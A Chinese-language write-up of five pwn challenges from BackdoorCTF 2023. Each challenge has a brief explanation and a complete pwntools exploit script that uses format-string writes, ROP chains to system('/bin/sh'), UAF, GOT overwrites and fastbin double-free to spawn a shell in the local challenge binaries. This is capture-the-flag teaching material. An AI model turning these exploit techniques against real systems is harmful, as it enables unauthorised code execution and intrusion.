[BackdoorCTF 2023] pwn
一个国外小比赛,还好能下载附件。
Baby Formatter
一连3道格式化字符串,但都不难
有两个菜单,一个是泄露栈地址和libc,另一个是格式化字符串但过滤掉了pudx,好在还有大量可用的符号。比如li 以长整型的方式输出。
程序没有直接执行到ret的功能,但在14d3可以跳到,在写完rop后,写vuln返回地址尾字节跳过来。
from pwn import *
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./challenge')
context(arch='amd64', log_level='debug')
p = process('./challenge')
def show():
p.sendlineafter(b">> ", b'1')
def fmt(pay):
p.sendlineafter(b">> ", b'2')
p.sendlineafter(b">> ", pay)
show()
v = p.recvline().split(b' ')
stack = int(v[0], 16) + 0x38
libc.address = int(v[1], 16) - libc.sym['fgets']
fmt(b'%13$li')
elf.address = int(p.recvline()) - 0x14d1
print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")
#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):
if v==0:
pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)
else:
pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)
fmt(pay)
#gdb.attach(p, "b*0x5555555554d3\nc")
#2, vuln_ret -> 14d1->14d3
pay = f"%{0xd3}c%8$hhn".ljust(16).encode()+p64(stack -0x20)
fmt(pay)
p.interactive()
Master Formatter
与上题基本一致,但是只泄露libc地址,不过虽然v5有检查但并没有写v5的值,所以还能不限次写。
from pwn import *
libc = ELF('./libc.so.6')
elf = ELF('./chall')
context(arch='amd64', log_level='debug')
p = process('./chall')
def show():
p.sendlineafter(b">> ", b'1')
def fmt(pay):
p.sendlineafter(b">> ", b'2')
p.sendlineafter(b">> ", pay)
show()
p.recvuntil(b'Have this: ')
v = p.recvline()
libc.address = int(v, 16) - libc.sym['fgets']
fmt(b'%13$li %12$li')
elf.address = int(p.recvuntil(b' ')) - 0x1561
stack = int(p.recvline()) + 8
print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")
#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):
if v==0:
pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)
else:
pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)
fmt(pay)
gdb.attach(p, "b*0x555555555406\nc")
#2, vuln_ret -> 1561->15ae
pay = f"%{0xae}c%8$hhn".ljust(16,'\x00').encode()+p64(stack -0x20)
fmt(pay)
p.interactive()
?Master Formatter v2
又进行了升级,这次检查过滤升级了,几乎禁用了所有的符号,除了o以外,所以可以用8进制泄露地址。另外v5的限制也生效了,只能写两次。
char *__fastcall filter(const char *a1)
{
char *result; // rax
if ( strchr(a1, 'p')
|| strchr(a1, 'u')
|| strchr(a1, 'd')
|| strchr(a1, 'x')
|| strchr(a1, 'f')
|| strchr(a1, 'i')
|| strchr(a1, 'e')
|| strchr(a1, 'g')
|| strchr(a1, 'a')
|| strchr(a1, 'U')
|| strchr(a1, 'U')
|| strchr(a1, 'D')
|| strchr(a1, 'X')
|| strchr(a1, 'F')
|| strchr(a1, 'I')
|| strchr(a1, 'E')
|| strchr(a1, 'G')
|| (result = strchr(a1, 'A')) != 0LL )
{
puts("Cant leak anything");
exit(1);
}
return result;
}
v5 = 0;
while ( 1 )
{
menu(*(_QWORD *)&argc, argv, envp);
argv = (const char **)&v4;
*(_QWORD *)&argc = "%d%*c";
__isoc99_scanf("%d%*c", &v4);
if ( v4 == 4 )
return 0;
if ( v4 > 4 )
goto LABEL_14;
switch ( v4 )
{
case 3:
duplicate();
break;
case 1:
hint();
break;
case 2:
if ( v5 > 1 )
{
*(_QWORD *)&argc = "Ran out";
puts("Ran out");
}
else
{
vuln();
++v5;
}
break;
default:
LABEL_14:
*(_QWORD *)&argc = "Invalid input";
puts("Invalid input");
break;
}
}
先通过lo泄露地址,然后将v5改为负值进行无限次写,然后用前边的方法写rop然后跳过来。
from pwn import *
libc = ELF('./libc.so.6') #2.38
elf = ELF('./chall')
context(arch='amd64', log_level='debug')
p = process('./chall')
def show():
p.sendlineafter(b">> ", b'1')
def fmt(pay):
p.sendlineafter(b">> ", b'2')
p.sendlineafter(b">> ", pay)
show()
p.recvuntil(b'Have this: ')
v = p.recvline()
libc.address = int(v, 16) - libc.sym['fgets']
pop_rdi = libc.address + 0x0000000000028715 # pop rdi ; ret
pop_rdx = libc.address + 0x0000000000093359 # pop rdx ; pop rbx ; ret
pop_rsi = libc.address + 0x000000000002a671 # pop rsi ; ret
pop_rax = libc.address + 0x0000000000046663 # pop rax ; ret
fmt(b'%13$lo %12$lo')
elf.address = int(p.recvuntil(b' '),8) - 0x16c5
stack = int(p.recvline(),8) + 8
print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")
#v5+3 = 0x88
fmt(b"%186c%8$hhn".ljust(0x10)+p64(stack - 0x10 -1))
#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):
if v==0:
pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)
else:
pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)
fmt(pay)
gdb.attach(p, "b*0x5555555555b9\nc")
#2, vuln_ret -> 1561->15ae
pay = f"%{0xe8}c%8$hhn".ljust(16,'\x00').encode()+p64(stack -0x20)
fmt(pay)
p.interactive()
Konsolidator
这是个堆题,libc用的是2.31,pie没开,free有UAF
v3 = time(0LL);
srand(v3);
for ( i = 0LL; i < rand() % 10; ++i )
{
v4 = rand();
malloc(v4 % 512);
}
while ( 1 )
{
menu();
__isoc99_scanf("%d%*c", &v6);
switch ( v6 )
{
case 1:
add((__int64)ptr, (__int64)size);
break;
case 2:
if ( v7 )
{
puts("You can do it only once");
}
else
{
v7 = 1;
change_size(ptr, size); // 修改chunk大小,同时修改数组和头
}
break;
case 3:
delete(ptr, size); // UAF
break;
case 4:
edit(ptr, size);
break;
case 5:
puts("Bye");
exit(code);
default:
puts("Invalid choice");
break;
}
}
一般说对于有UAF并且PIE没开,got无保护的题,只需要把块建到got表就可以任意搞了
不过这里由于没有show,需要改个东西但是在got.free前边在plt的一个指针。它不像got表可以随意写,写完后会重新装填,所以不能写最方便的got.free,退而求其次写malloc,malloc改为puts后一参的size可以作为指针传进去,不过只能传整型,所以这里只能写程序加载地址。最后利用exit(code)后门,修改got.exit为system在code写一个指向bin/sh的指针(也是程序内的)
from pwn import *
context(arch='amd64',log_level = "debug")
elf = ELF("./chall")
libc = ELF("./libc-2.31.so")
# p = remote("120.24.69.11", 12700)
p = process("./chall")
def add(idx, size):
p.sendlineafter(b">> ", b"1")
p.sendlineafter(b"Index\n>> ", str(idx).encode())
p.sendlineafter(b"Size\n>> ", str(size).encode())
def edit_size(idx, size):
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"Index\n>> ", str(idx).encode())
p.sendlineafter(b"Size\n>> ", str(size).encode())
#UAF
def free(idx):
p.sendlineafter(b">> ", b"3")
p.sendlineafter(b"Index\n>> ", str(idx).encode())
def edit(idx, msg):
p.sendlineafter(b">> ", b"4")
p.sendlineafter(b"Index\n>> ", str(idx).encode())
p.sendlineafter(b"Data\n>> ", msg)
pop_rdi = 0x4018c3
ret = pop_rdi+1
#got.free->puts
add(0, 0x430)
add(1, 0x100)
add(2, 0x100)
free(0)
free(1)
free(2)
edit(2, p64(0x403560))
add(2, 0x100)
add(3, 0x100)
#gdb.attach(p, "b*0x401846\nc")
'''
0x403500: 0x00007ffff7df8f90 0x0000000000000000
0x403510: 0x0000000000403330 0x00007ffff7ffe190
0x403520: 0x00007ffff7fe7af0 0x0000000000401030(free)
0x403530 <puts@got.plt>: 0x00007ffff7e59420 0x0000000000401050
0x403540 <printf@got.plt>: 0x00007ffff7e36c90 0x00007ffff7e1c5c0
0x403550 <fgets@got.plt>: 0x0000000000401080 0x00007ffff7fcd930
0x403560 <malloc@got.plt>: 0x00007ffff7e6f0e0 0x00007ffff7e59ce0
0x403570 <__isoc99_scanf@got.plt>: 0x00007ffff7e380b0 0x00000000004010d0
0x403580 <rand@got.plt>: 0x00007ffff7e1cd10 0x0000000000000000
'''
#由于在free前边有plt的中转指令,所以通过修改malloc实现泄露
#malloc后边的setvuf, scanf后边的exit暂时用不到
edit(3, flat(0x401060)) #malloc -> printf
add(4, 0x403530) #printf(got.puts)
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")
edit(3, flat([libc.sym['malloc'], 0, libc.sym['scanf'], libc.sym['system'], 0,0,0,0,
libc.sym['_IO_2_1_stdout_'],0,
libc.sym['_IO_2_1_stdin_'],0,
libc.sym['_IO_2_1_stderr_'],0,
0x4035d8, b'/bin/sh\x00' #code->/bin/sh
])) #exit -> system code = /bin/sh
p.sendlineafter(b">> ", b"5")
p.interactive()
Pizzeria
这个libc是2.35不过有uaf只是这个uaf不让直接写只能show。由于2.35在释放tcache时有秤星检查,所以造double free需要在fastbin里进行。
先建大点的块释放超过7个会得到unsort
再建小块释放7个后再来释放aba得到环,将块建到environ得到栈地址
同上的方法,将块建到栈,但由于2.35需要块尾对齐无法控制到ret,所以将指针建到指针区前,再通过控制指针写ret
from pwn import *
libc = ELF('./libc.so.6')
context(arch='amd64', log_level='debug')
p = process('./chal')
item = ["Tomato","Onion","Capsicum","Corn","Mushroom","Pineapple","Olives","Double Cheese","Paneer","Chicken"]
def add(idx, size): #size*8
p.sendlineafter(b"Enter your choice : ", b'1')
p.sendlineafter(b"Which topping ?\n", item[idx].encode())
p.sendlineafter(b"How much ?\n", str(size).encode())
def edit(idx, msg):
p.sendlineafter(b"Enter your choice : ", b'2')
p.sendlineafter(b"Which one to customize ?\n", item[idx].encode())
p.sendafter(b"Enter new modified topping : ", msg)
def free(idx):
p.sendlineafter(b"Enter your choice : ", b'3')
p.sendlineafter(b"Which topping to remove ?\n", item[idx].encode())
def show(idx):
p.sendlineafter(b"Enter your choice : ", b'4')
p.sendlineafter(b"Which topping to verify ?\n", item[idx].encode())
def getptr(v):
v1 = (v>>36)&0xfff
v2 = ((v>>24)^v1)&0xfff
v3 = ((v>>12)^v2)&0xfff
v4 = ((v)^v3)&0xfff
return (v1<<36)|(v2<<24)|(v3<<12)|v4
#填充满tcache后得到unsort,泄露libc
for i in range(10):
add(i,31)
for i in range(8):
free(i)
show(0)
heap = (u64(p.recvline()[:-1].ljust(8, b'\x00'))<<12)
print(f"{heap =:x}")
show(7)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) + 0x67c0 - libc.sym['__malloc_hook']
print(f"{heap = :x} {libc.address = :x}")
for i in range(8):
add(i,31)
#填充满tcache后在fastbin doublefree得到环将块建到environ 得到栈地址
for i in range(10):
add(i,13)
for i in [0,1,2,3,4,5,6,7,8,7]:
free(i)
for i in [6,5,4,3,2,1,0]:
add(i, 13)
add(0,13)
edit(0, b'A'*8)
show(0)
p.recvuntil(b'A'*8)
key = p.recv(8)
print('key=',key.hex())
edit(0, p64(libc.sym['_environ']^(heap>>12))+key)
add(1, 13)
add(1, 13)
add(1, 13) #_environ
show(1)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x220 #edit_ret
print(f"{stack = :x}")
#同上得到环,将块建到栈内控制指针区
for i in range(10):
add(i,8)
for i in [0,1,2,3,4,5,6,7,8,7]:
free(i)
for i in [6,5,4,3,2,1,0]:
add(i, 8)
add(0,8)
edit(0, p64((stack+0x18)^((heap>>12)+1))+key)
add(1, 8)
add(1, 8)
add(1, 8) #size[]
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
#gdb.attach(p, "b*0x555555555aba\nc")
edit(1, p32(100)*12 + flat(stack)) #ptr[0]->edit_ret
edit(0, flat(pop_rdi+1, pop_rdi, bin_sh, system))
p.interactive()
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!